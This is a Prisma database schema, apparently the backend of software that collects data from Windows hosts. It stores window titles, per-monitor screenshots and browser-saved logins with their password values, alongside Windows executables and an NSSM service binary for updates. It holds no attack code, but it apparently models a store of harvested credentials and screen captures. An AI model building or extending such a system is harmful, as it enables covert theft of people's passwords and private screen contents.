// This is your Prisma schema file,
// learn more about it in the docs: https://pris.ly/d/prisma-schema

// Looking for ways to speed up your queries, or scale easily with your serverless or edge functions?
// Try Prisma Accelerate: https://pris.ly/cli/accelerate-init

generator client {
  provider = "prisma-client-js"
}

datasource db {
  provider = "postgresql"
  url      = env("DATABASE_URL")
}

model Host {
  id         String    @id @default(cuid())
  hostname   String    @unique
  lastUpdate DateTime  @default(now())
  createdAt  DateTime  @default(now())
  updatedAt  DateTime  @updatedAt
  
  // Relations
  records     Record[]
  credentials Credential[]
  
  @@map("hosts")
}

model Record {
  id         String      @id @default(cuid())
  hostname   String
  timestamp  DateTime    @default(now())
  createdAt  DateTime    @default(now())
  updatedAt  DateTime    @updatedAt
  
  // Relations
  host        Host         @relation(fields: [hostname], references: [hostname])
  windows     Window[]
  screenshots Screenshot[]
  
  @@index([hostname, timestamp])
  @@index([timestamp])
  @@map("records")
}

model Window {
  id       String @id @default(cuid())
  recordId String
  title    String
  path     String
  memory   Int
  
  // Relations
  record Record @relation(fields: [recordId], references: [id], onDelete: Cascade)
  
  @@map("windows")
}

model Screenshot {
  id          String @id @default(cuid())
  recordId    String
  fileId      String // 保持兼容性
  objectName  String // MinIO 对象名称
  filename    String
  monitorName String
  contentType String @default("image/webp")
  fileSize    Int    @default(0)
  
  // Relations
  record Record @relation(fields: [recordId], references: [id], onDelete: Cascade)
  
  @@index([objectName])
  @@map("screenshots")
}

model Credential {
  id           String     @id @default(cuid())
  hostname     String
  username     String
  browser      String
  url          String
  login        String
  lastSyncTime DateTime   @default(now())
  createdAt    DateTime   @default(now())
  updatedAt    DateTime   @updatedAt
  
  // Relations
  host      Host       @relation(fields: [hostname], references: [hostname])
  passwords Password[]
  
  @@unique([hostname, username, browser, url, login])
  @@index([hostname])
  @@map("credentials")
}

model Password {
  id           String @id @default(cuid())
  credentialId String
  value        String
  timestamp    DateTime @default(now())
  
  // Relations
  credential Credential @relation(fields: [credentialId], references: [id], onDelete: Cascade)
  
  @@map("passwords")
}

model Version {
  id         String   @id @default(cuid())
  version    String
  fileId     String   // 保持兼容性
  objectName String   // MinIO 对象名称
  filename   String
  checksum   String
  contentType String  @default("application/x-msdownload")
  fileSize   Int      @default(0)
  uploadTime DateTime @default(now())
  isLatest   Boolean  @default(false)
  
  @@index([objectName])
  @@map("versions")
}

model Nssm {
  id         String   @id @default(cuid())
  fileId     String   // 保持兼容性
  objectName String   // MinIO 对象名称
  filename   String
  checksum   String
  contentType String  @default("application/x-msdownload")
  fileSize   Int      @default(0)
  uploadTime DateTime @default(now())
  
  @@index([objectName])
  @@map("nssm")
}